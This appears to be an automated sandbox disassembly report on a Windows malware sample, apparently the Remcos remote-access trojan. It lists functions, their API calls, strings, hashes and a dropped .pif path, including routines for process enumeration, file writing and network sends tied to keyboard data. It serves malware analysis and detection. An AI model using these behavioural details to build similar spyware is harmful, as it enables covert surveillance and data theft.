API ID: Event$CloseCreateHandleLocalObjectSingleTimeWait
String ID: KeepAlive | Disabled
API String ID: 2993684571-305739064
Opcode ID: c594fc0502ac089e8ceed4a366586e120d9a374f389bb2b837d8f1f373a196b1
Instruction ID: c1447ea2195e795a2fa4d382ed9a15925dec3dc8ccf256ab7d783030aa8980db
Opcode Fuzzy Hash: c594fc0502ac089e8ceed4a366586e120d9a374f389bb2b837d8f1f373a196b1
Instruction Fuzzy Hash: 4CF06271904711BBDB103B758D0A66B7A54AB02311F0009BEF982916E2D6798840CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 0041CD58 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,00000000,?,?,?,?,?,?,0041CDED), ref: 0041CD62
GetConsoleScreenBufferInfo.KERNEL32(00000000,?,?,?,?,?,?,?,0041CDED), ref: 0041CD6F
SetConsoleTextAttribute.KERNEL32(00000000,0000000C,?,?,?,?,?,?,0041CDED), ref: 0041CD7C
SetConsoleTextAttribute.KERNEL32(00000000,?,?,?,?,?,?,?,0041CDED), ref: 0041CD8F

Strings

______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/ , xrefs: 0041CD82

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Console$AttributeText$BufferHandleInfoScreen
String ID: ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/
API String ID: 3024135584-2418719853
Opcode ID: 7fe6fe9ce11b1ae804115fcba13355f31785efbed8ffac05f5782df1f2ab6211
Instruction ID: 0b88db63cd78dea0703aeaf814a7171c31f7e2e6e0b1944ffb711cb25cf7542c
Opcode Fuzzy Hash: 7fe6fe9ce11b1ae804115fcba13355f31785efbed8ffac05f5782df1f2ab6211
Instruction Fuzzy Hash: B4E04872904315E7E31027B5EC4DDAB7B7CE745713B100266FA12915D39A749C40C6B5

Uniqueness

Uniqueness Score: -1.00%

Function 0044139A Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 333ae2597f59f70c30e2a138da7d2dacca2148bf7cc6369c5742e0f4ac8aaabd
Instruction ID: 3288ceb70b28299b768e57bc56a65f905b411dc47ae91625c595fe6b39b3afde
Opcode Fuzzy Hash: 333ae2597f59f70c30e2a138da7d2dacca2148bf7cc6369c5742e0f4ac8aaabd
Instruction Fuzzy Hash: 4D71C431900256ABEF21CF55C884AFFBBB5EF95350F14012BE812A72A1D7748CC1CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00444CFB Relevance: 7.7, APIs: 5, Instructions: 187COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,004352BC,?,?,00438847,?,?,00000000,00476B50,?,0040DE62,004352BC,?,?,?,?), ref: 00446169

_free.LIBCMT ref: 00444E06
_free.LIBCMT ref: 00444E1D
_free.LIBCMT ref: 00444E3C
_free.LIBCMT ref: 00444E57
_free.LIBCMT ref: 00444E6E

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: bc830042460a8b7e4f23ea146b673c7d23acc7bc4933b5c91394f116147f2234
Instruction ID: 75a60bec03265776b93b53542ea819fdab521e44af267d44e1f719a945e8e2e2
Opcode Fuzzy Hash: bc830042460a8b7e4f23ea146b673c7d23acc7bc4933b5c91394f116147f2234
Instruction Fuzzy Hash: 5451D371A00704AFEB20DF6AC841B6673F4FF85729B14456EE819D7250E739EE01CB88

Uniqueness

Uniqueness Score: -1.00%

Function 00449365 Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045F234), ref: 004493CF
WideCharToMultiByte.KERNEL32(00000000,00000000,00472764,000000FF,00000000,0000003F,00000000,?,?), ref: 00449447
WideCharToMultiByte.KERNEL32(00000000,00000000,004727B8,000000FF,?,0000003F,00000000,?), ref: 00449474
_free.LIBCMT ref: 004493BD

Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?), ref: 00446798
Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA

_free.LIBCMT ref: 00449589

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 1286116820-0
Opcode ID: 0a3c6fbe7e5a1f133d1032b40f823fca6b3dff27f0c0d46b4efcd8c71cfe77a6
Instruction ID: c95a83c4fc9d8f5f381c6ef12c4bd90d50aad01b0883e3b7d6e96279f2ead045
Opcode Fuzzy Hash: 0a3c6fbe7e5a1f133d1032b40f823fca6b3dff27f0c0d46b4efcd8c71cfe77a6
Instruction Fuzzy Hash: 71511A71904205EBEB14EFA9DD819AFB7BCEF44324F10066FE51493291EB788E42DB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040F8FD Relevance: 7.6, APIs: 5, Instructions: 132processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8
Part of subcall function 0041BFB7: IsWow64Process.KERNEL32(00000000,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFCF

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F91B
Process32FirstW.KERNEL32(00000000,?), ref: 0040F93F
Process32NextW.KERNEL32(00000000,0000022C), ref: 0040F94E
CloseHandle.KERNEL32(00000000), ref: 0040FB05

Part of subcall function 0041BFE5: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,0040F5F9,00000000,?,?,00475338), ref: 0041BFFA
Part of subcall function 0041BFE5: IsWow64Process.KERNEL32(00000000,?,?,?,00475338), ref: 0041C005

Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208

Process32NextW.KERNEL32(00000000,0000022C), ref: 0040FAF6

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Process$OpenProcess32$NextWow64$CloseCreateCurrentFirstHandleSnapshotToolhelp32
String ID:
API String ID: 2180151492-0
Opcode ID: af739ac690ee8d07d81366b8be29f9ccbff63967b6472fc478213852870bed76
Instruction ID: d179df5438ecf7187d550cf9263b6860c2801d48d571b2859f9d543a591e132f
Opcode Fuzzy Hash: af739ac690ee8d07d81366b8be29f9ccbff63967b6472fc478213852870bed76
Instruction Fuzzy Hash: 784116311083419BC325F722DC55AEFB3A5AF94345F50493EF48A921E2EF385A49C75A

Uniqueness

Uniqueness Score: -1.00%

Function 00443DF9 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00443E6B
_free.LIBCMT ref: 00443E8B

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: f0d0e5395ad938097262dc5d88931f0578874cbbbca0d0094bbf983591b431c8
Instruction ID: 5dce3a056f7b38871bf3701478ebec2c01ef4ac0d1e4adeac0a27022f106ca0c
Opcode Fuzzy Hash: f0d0e5395ad938097262dc5d88931f0578874cbbbca0d0094bbf983591b431c8
Instruction Fuzzy Hash: 0741F536A012009FEB20DF78C881A5EB3F1EF89B14F2545AEE515EB341DB35AE01CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0044F35A Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0044F363
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0044F386

Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,004352BC,?,?,00438847,?,?,00000000,00476B50,?,0040DE62,004352BC,?,?,?,?), ref: 00446169

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0044F3AC
_free.LIBCMT ref: 0044F3BF
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0044F3CE

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: d8ae35f0e3060a242d199930de563035f78cbeddf85e30d7e5766290ad92fb82
Instruction ID: 8337c1946637dec1c7c9c61cb05458c13fbc509b7d73539ecc926bc10a2836fd
Opcode Fuzzy Hash: d8ae35f0e3060a242d199930de563035f78cbeddf85e30d7e5766290ad92fb82
Instruction Fuzzy Hash: 2301B173601755BB37211ABA5C8CC7F6A6CDAC6FA5315013FFD14C2202EA68CD0581B9

Uniqueness

Uniqueness Score: -1.00%

Function 0041C3F1 Relevance: 7.6, APIs: 5, Instructions: 67fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000004,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,00000004,00000000,0041C510,00000000,00000000,00000000), ref: 0041C430
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,00000004,00000000,0041C510,00000000,00000000), ref: 0041C44D
CloseHandle.KERNEL32(00000000,?,00000004,00000000,0041C510,00000000,00000000), ref: 0041C459
WriteFile.KERNEL32(00000000,00000000,00000000,00406F85,00000000,?,00000004,00000000,0041C510,00000000,00000000), ref: 0041C46A
CloseHandle.KERNEL32(00000000,?,00000004,00000000,0041C510,00000000,00000000), ref: 0041C477

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: File$CloseHandle$CreatePointerWrite
String ID:
API String ID: 1852769593-0
Opcode ID: c16bf2a5e476d7eb9c065cb57b6c83635d373e8a2041914a8f43a70e8d32cf2e
Instruction ID: 5cb8be75c3dc4c1e2f747800af3fbfd5a98fa41e64789a84fd548ad7506a8702
Opcode Fuzzy Hash: c16bf2a5e476d7eb9c065cb57b6c83635d373e8a2041914a8f43a70e8d32cf2e
Instruction Fuzzy Hash: B0110471288220FFEA104B24ACD9EFB739CEB46375F10462AF592C22C1C7259C81863A

Uniqueness

Uniqueness Score: -1.00%

Function 00448299 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,?,0043BC87,00000000,?,?,0043BD0B,00000000,00000000,00000000,00000000,00000000,?,?), ref: 0044829E
_free.LIBCMT ref: 004482D3
_free.LIBCMT ref: 004482FA
SetLastError.KERNEL32(00000000), ref: 00448307
SetLastError.KERNEL32(00000000), ref: 00448310

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 3b5a676440ed160f08d3b9c67501060176d9d4d3bcfe02f134d94644f9898a15
Instruction ID: 817e1e76de570c2b023109a843fda652767a1b5a915d0172e9d2adf04509528a
Opcode Fuzzy Hash: 3b5a676440ed160f08d3b9c67501060176d9d4d3bcfe02f134d94644f9898a15
Instruction Fuzzy Hash: 5601F936500B0067F3112A2A5C8596F2559EBC2B7A735452FFD19A22D2EFADCC01816D

Uniqueness

Uniqueness Score: -1.00%

Function 0041C1DD Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208
GetProcessImageFileNameW.PSAPI(00000000,?,00000104,?,00000000,00000000,00000000), ref: 0041C228
CloseHandle.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 0041C233
CloseHandle.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 0041C23B

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Process$CloseHandleOpen$FileImageName
String ID:
API String ID: 2951400881-0
Opcode ID: f9441541d1e055ebec971b28555d0febc4d5c2f8e157a993c91f5ce795852cd2
Instruction ID: 502f13a9e38f74389cb09c542eced9ec4ef47df168bad581006c654e14f0d55b
Opcode Fuzzy Hash: f9441541d1e055ebec971b28555d0febc4d5c2f8e157a993c91f5ce795852cd2
Instruction Fuzzy Hash: 53012BB1680315ABD61057D49C89FB7B27CDB84796F0000A7FA04D21D2EF748C818679

Uniqueness

Uniqueness Score: -1.00%

Function 004509BC Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 004509D4

Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?), ref: 00446798
Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA

_free.LIBCMT ref: 004509E6
_free.LIBCMT ref: 004509F8
_free.LIBCMT ref: 00450A0A
_free.LIBCMT ref: 00450A1C

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 3215379f381551316c6ac489d477ac1f9e59373460363398d28d4bb450e902e5
Instruction ID: 8e1836d4b3683ea2f551dac33bf8b94159c93f8dbbc189607f67f5fa0db289e6
Opcode Fuzzy Hash: 3215379f381551316c6ac489d477ac1f9e59373460363398d28d4bb450e902e5
Instruction Fuzzy Hash: F3F04F76504600B79620EB5DE8C2C1B73D9EA0571A795891BF66CDB612CB38FCC0869C

Uniqueness

Uniqueness Score: -1.00%

Function 00444048 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00444066

Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?), ref: 00446798
Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA

_free.LIBCMT ref: 00444078
_free.LIBCMT ref: 0044408B
_free.LIBCMT ref: 0044409C
_free.LIBCMT ref: 004440AD

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d22801927142449f45bafb541f3c6c05cfc56c6a25697691e9266b530bc09d46
Instruction ID: c4ed0220327abb1134bcf7d54e43c2409a3611c90002b0fe773cef56a7474a4d
Opcode Fuzzy Hash: d22801927142449f45bafb541f3c6c05cfc56c6a25697691e9266b530bc09d46
Instruction Fuzzy Hash: 11F03AB18009208FA631AF2DBD414053B61E705769346822BF62C62A70C7B94ED2CFCF

Uniqueness

Uniqueness Score: -1.00%

Function 0044BA37 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

Strings

PkGNG, xrefs: 0044BA39

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID:
String ID: PkGNG
API String ID: 0-263838557
Opcode ID: 6a83c2428ddcf6ea71a3f14a315267ad78d224b448d93c685a7e270e7132f7c7
Instruction ID: 56b21f6c39f874414c878b072b89285690216c2d241c0ad811085e1835033e53
Opcode Fuzzy Hash: 6a83c2428ddcf6ea71a3f14a315267ad78d224b448d93c685a7e270e7132f7c7
Instruction Fuzzy Hash: 1B51B271D00249AAEF14DFA9C885FAFBBB8EF45314F14015FE400A7291DB78D901CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0044E6E9 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_strpbrk.LIBCMT ref: 0044E738
_free.LIBCMT ref: 0044E855

Part of subcall function 0043BD19: IsProcessorFeaturePresent.KERNEL32(00000017,0043BCEB,?,?,?,?,?,00000000,?,?,0043BD0B,00000000,00000000,00000000,00000000,00000000), ref: 0043BD1B
Part of subcall function 0043BD19: GetCurrentProcess.KERNEL32(C0000417), ref: 0043BD3D
Part of subcall function 0043BD19: TerminateProcess.KERNEL32(00000000), ref: 0043BD44

Strings

*?, xrefs: 0044E72C
., xrefs: 0044EA0C

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_free_strpbrk
String ID: *?$.
API String ID: 2812119850-3972193922
Opcode ID: 6703a85dd49711e1afab558f77f60869b6155e4f96c4351f2947c71862cae23b
Instruction ID: 94a4b4bbf586d133b1ca6d09685756ea089c4dad0dcc4a5060c65dcbb11523ea
Opcode Fuzzy Hash: 6703a85dd49711e1afab558f77f60869b6155e4f96c4351f2947c71862cae23b
Instruction Fuzzy Hash: B951C375E00109EFEF14DFAAC881AAEBBB5FF58314F25816EE454E7301E6399E018B54

Uniqueness

Uniqueness Score: -1.00%

Function 00415AEA Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,?), ref: 00415B0F
GetTickCount.KERNEL32 ref: 00415B86

Strings

NG, xrefs: 00415B3E
!D@, xrefs: 00417089

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: CountEventTick
String ID: !D@$NG
API String ID: 180926312-2721294649
Opcode ID: a5a641677daa38105cbe42e75e0e2883f17254e83355899c77695e5a9bf74507
Instruction ID: 1740d3d485f2be3f914829e5aa2a54ae858af1ae40273f66f7ff2800e9d96298
Opcode Fuzzy Hash: a5a641677daa38105cbe42e75e0e2883f17254e83355899c77695e5a9bf74507
Instruction Fuzzy Hash: 7E51A1316083019AC724FB32D852AEF73A5AF94314F50493FF54A671E2EF3C5949C68A

Uniqueness

Uniqueness Score: -1.00%

Function 00409EA3 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 157COMMON

Download Yara Rule

APIs

GetKeyboardLayoutNameA.USER32(?), ref: 00409ED3

Part of subcall function 004048C8: connect.WS2_32(FFFFFFFF,?,?), ref: 004048E0

Part of subcall function 0041C515: CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,?,00000000,00409F5B,00474EE0,?,00474EE0,00000000,00474EE0,00000000), ref: 0041C52A

Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36

Strings

PG, xrefs: 00409EFE
NG, xrefs: 00409F33
XQG, xrefs: 00409F48

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: CreateFileKeyboardLayoutNameconnectsend
String ID: XQG$NG$PG
API String ID: 1634807452-3565412412
Opcode ID: 3fb924593915bbdab49489ab510ca87b68c848884981a2accbe0ae65a1be58bc
Instruction ID: e0ccbd324811511655e6ba18c086c0ffec884fa52ef92f7e14ea490dcf81b303
Opcode Fuzzy Hash: 3fb924593915bbdab49489ab510ca87b68c848884981a2accbe0ae65a1be58bc
Instruction Fuzzy Hash: BA5133315082415AC324F732D852AEFB3E5AFD4348F50493FF44A671E6EF78594AC649

Uniqueness

Uniqueness Score: -1.00%

Function 00442385 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004424DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004424F3

Strings

`#D, xrefs: 00442400
`#D, xrefs: 004424ED

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: `#D$`#D
API String ID: 885266447-2450397995
Opcode ID: 36fac044672f79bbd2692348072d6fa41419b258ac2755bfc370d2617ef2a991
Instruction ID: d0478598ef992627c852fcfbe86add3ca1c9fa58067414995f231753f3186543
Opcode Fuzzy Hash: 36fac044672f79bbd2692348072d6fa41419b258ac2755bfc370d2617ef2a991
Instruction Fuzzy Hash: 78519071A00208AFDF18DF59C980AAEBBB2FB94314F59C19AF81897361D7B9DD41CB44

Uniqueness

Uniqueness Score: -1.00%

Function 00443435 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\Public\Libraries\nmfsxfjX.pif,00000104), ref: 00443475
_free.LIBCMT ref: 00443540
_free.LIBCMT ref: 0044354A

Strings

C:\Users\Public\Libraries\nmfsxfjX.pif, xrefs: 0044346C, 00443473, 004434A2, 004434DA

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\Public\Libraries\nmfsxfjX.pif
API String ID: 2506810119-1258859749
Opcode ID: c70776266e2bd8d98222b272a4c4964d73f1f6f6485ba9fff5740fbb3794026e
Instruction ID: 78b8e4ab202bb8962dfea6a4c95dea7b8c186c0554b41bb8e719afd17783d6d0
Opcode Fuzzy Hash: c70776266e2bd8d98222b272a4c4964d73f1f6f6485ba9fff5740fbb3794026e
Instruction Fuzzy Hash: 2E31C471A00258BFEB21DF999C8199EBBBCEF85B15F10406BF50497311D6B89F81CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0044B81F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,?,?,00000D55,00000000,00000000,FF8BC35D,00000000,?,PkGNG,0044BB7E,?,00000000,FF8BC35D), ref: 0044B8D2
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0044B900
GetLastError.KERNEL32 ref: 0044B931

Strings

PkGNG, xrefs: 0044B821

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
